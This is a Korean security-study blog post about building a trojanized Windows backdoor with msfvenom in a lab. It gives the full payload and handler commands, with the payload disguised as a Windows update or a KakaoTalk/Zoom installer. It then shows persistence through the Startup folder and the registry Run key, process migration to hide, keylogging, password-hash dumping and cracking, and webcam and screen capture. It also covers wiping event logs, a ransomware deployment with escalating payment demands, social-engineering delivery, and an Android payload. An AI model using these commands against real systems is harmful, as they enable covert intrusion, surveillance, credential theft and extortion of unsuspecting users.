wonder
정보보안 스터디 - 16주차 5일 - msfvenom을 이용한 백도어 제작 본문
☞ msfvenom을 이용한 백도어 제작
먼저 그럴듯하게 보이기 위해 resource hacker 프로그램을 이용하여 아이콘을 추가해줍니다.
네이버메일을 통한 실습은 바이러스 검사 때문에 전송이 어렵습니다.
exe파일인지 msi파일인지 바이러스가 있는지 등을 시그니처 해시값을 보고 판단하기 때문입니다.
따라서 zip을 암호화해서 전송하는 방법이 있고
윈도우에 공유할 디렉토리를 만들어두고 그 디렉토리를 VMWare를 통한 공유를 합니다.
setting-option-shared folder 기능을 사용합니다.
그러면 해당 디렉토리를 마운트 개념으로 공유를 하고 누구든 읽기 쓰기가 가능한 상태가 됩니다.
사용은 win7 win2008 kali 이렇게 허락해줬습니다.
그리고 테스트로 파일을 업로드하고
파일을 찾아보면 /mnt/hgfs/vmshare 디렉토리에 파일이 있는 것을 확인할 수 있습니다.
msfconsole로 들어가서 만들어도 되지만 로딩시간이 길기 때문에 바로 만들어줄 수 있습니다.
msfvenom -p windows/x64/meterpreter/reverse_tcp \
lhost=192.168.20.50 \
lport=4444 \
-f exe -o winupdate.exe(KakaoTalk_Setup.exe)
할 때마다 명령어를 일일이 입력해도 좋지만 스크립트로 저장해두고 실행합니다.
cat << EOF > reverse.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.20.50
set lport 4444
set exitonsession false
exploit -j -z
EOF
여러 디바이스에서 세션을 오픈할 수 있고
백그라운드 상태에서 할 수 있어서 명령어 사용이 가능합니다.
☞ 공격 실행
백신이나 win보안 방화벽을 껐다면 윈도우10이상에서도 이상이 없다는 것을 알 수 있고
실행을 했을 때 정상적인 프로그램인척(트로이목마) 실행시키면서 백그라운드에서 백도어 역할을 할 수 있습니다.
아무것도 실행되지 않는다면 사용자는 이상해서 바로 삭제를 하거나 컴퓨터를 좀 잘 아는 사람이라면 프로세스를 지울 것입니다.
그럴 것을 방지하기 위해서 공격자는 세션이 열리자마자
시작프로그램 디렉토리로 파일을 옮기는 방법이 있고
시작하면 바로 실행하도록 레지스트리에 넣는 방법이 있습니다.
전자는 시작프로그램에 보면 바로 이상함을 확인할 수 있기 때문에
후자를 더 선호하는 편입니다.
시작 프로그램 업로드
msfconsole -q -r reverse.rc |
sessions -i 세션이 들어온 것을 확인 후 |
sessions -i 2 |
cd C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup cd "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" 이스케이프 문자로 처리되기 때문에 \를 붙여주거나 /로 경로 지정합니다. upload /root/payload/ZoomInstaller.exe(Kakao_Installer.exe) |
getpid ps -S ZoomInstaller.exe migrate PPID ps -S explorer.exe 이전을 했으면 사용자입장에서는 백도어 프로세스가 안보이고 그래픽 기반에서 실행시키는 explorer에서 CPU가 과하게 발생하는 것으로 보입니다. |
처음 접근하는 방식
암호화된 메일, 프로그램 공유 등
사회공학적인 기법으로 유포해
방화벽, 백신을 끄고
실행시키면됩니다.
보통 대부분 시스템 파일을 다운받아서 확인하고
다른 악성파일을 업로드해서 실행하고
지우려고 협박하고
백도어로써 스크린을 탐지하거나
현재 실행중인 프로그램을 확인하는 식입니다.
☞ 사용가능한 기능
? |
sysinfo 현재 운영체제 버전을 알아냅니다. |
getuid 현재 권한을 확인합니다. getsystem getuid adminstrator보다 system권한이 더 큽니다. 시스템 권한으로 바꿉니다. |
pwd |
ls dir 윈도우 명령어도 가능합니다. |
cd |
upload download |
rm del |
reboot shutdown |
cat |
키로거 enumdesktops setdesktop getdesktop 1 keyscan_start keyscan_dump keyscan_stop |
mouse 좌표를 저장해두고 프로그램을 이용해서 경로 확인 가능합니다. |
hashdump 사용자 비밀번호가 NTLM 방식 해시값으로 되어있는데 https://hashes.com/en/decrypt/hash 에서 평문을 확인합니다. 너무 길면 찾기 힘듭니다. |
webcam_list webcam_snap webcam_stream 웹캠같은 경우는 IOT 기기인 월패드의 웹캠을 제어한 기사가 있었습니다. 하나하나가 명령어 접속 및 제어가 가능한 기기이기 때문입니다. |
screenshot screenstream |
ifconfig 현재 ip정보를 알 수 있습니다. |
arp 같은 네트워크망 주변 기기 ip주소를 확인해서 침투준비를 할 수 있습니다. |
route 게이트 웨이를 확인하고 네트워크망의 흐름을 알 수 있습니다. |
netstat 현재 리슨상태거나 연결된 프로그램들을 확인할 수 있습니다. |
ps 현재 작동중인 프로세스들을 확인할 수 있습니다. |
kill PID 크롬은 맨 상위 프로세스아이디를 종료해야합니다. |
clearev 이벤트 뷰어를 삭제합니다. 설치관련, 시큐리티, 설치 등 각각의 로그가 기록되어있습니다. > 담당자는 로그를 보고 어떤일 있었구나 확인합니다. system32 > winevt >logs >application.evtx 리눅스는 /var/log/ wevtutil cl "application" wevtutil cl "security" wevtutil cl "setup" wevtutil cl "system" 와 같은 명령어 입니다. 이벤트 뷰어에서 로그 초기화 되서 용량차이 나기 때문에 삭제됨을 확인합니다. |
레지스트리 추가
같은 방법으로
winupdate.exe파일을 그럴듯하게 만든뒤 공유하고 실행시킵니다.
레지스트리 수정은 cmd 쉘에서만 윈도우 명령어가 가능합니다.
shell |
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winupdate /t REG_SZ /d "c:\windows\system32\winupdate.exe |
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winupdate /f |
더 그럴듯해 보입니다.
그럼 재부팅 시에 항상 프로그램이 실행되도록 되어있습니다.
해당 파일은 당연하게도 우회같은 작업을 안했기 때문에 바이러스 토탈에 탐지가 됩니다.
☞ 랜섬웨어 제작
빼먹을 파일은 다 빼먹었으니
돈이라도 받아내자 해서
랜섬웨어를 제작합니다.
돈을 내도 안풀어주는 경우도 있고
c드라이브 d드라이브 자체를 암호화하거나 파괴시키는 경우가 많습니다.
1시간100 2시간200 3시간300달러 = 빨리 지불하도록 유도합니다.
시작하자마자 OS관련디렉토리를 제외한 모든 파일 암호화가 실행되고
확장자가 smile로 바뀝니다.
upload ransom_dec.exe
비트코인을 받았다면 복호화 프로그램을 공유하여 배포하는 식입니다.
실습용이라 일부는 복호화가 안되고 있습니다.
☞ 안드로이드
use getneric/reverse_tcp
payload android
안드로이드도 가능하지만 최신 기기는 패치가 되어있기 때문에
카메라 확인, 스크린쉐어, 등은 어렵고
gps 위치정보확인, 권한상승>파일건들기, SMS dump 가 가능합니다.
또한 세션이 얼마 있다가 종료되기 때문에 세션을 항상 연결시키는 스크립트를 만들어 실행시키거나 시작 프로그램으로 등록하는 작업이 필요합니다.
'Security > 웹 모의해킹' 카테고리의 다른 글
정보보안 스터디 - 16주차 6일 - setoolkit을 이용한 피싱사이트 제작 (0) | 2023.02.01 |
---|---|
정보보안 스터디 - 16주차 2일 - MSF 모의해킹 도구 (0) | 2023.01.27 |
정보보안 스터디 - 16주차 1일 - Nessus 취약점 분석 도구 (0) | 2023.01.26 |
정보보안 스터디 - 15주차 7일 - SUID 백도어 코드 제작 (0) | 2023.01.25 |
정보보안 스터디 - 15주차 2일 - 각종 웹 공격 Snort 차단 (0) | 2023.01.21 |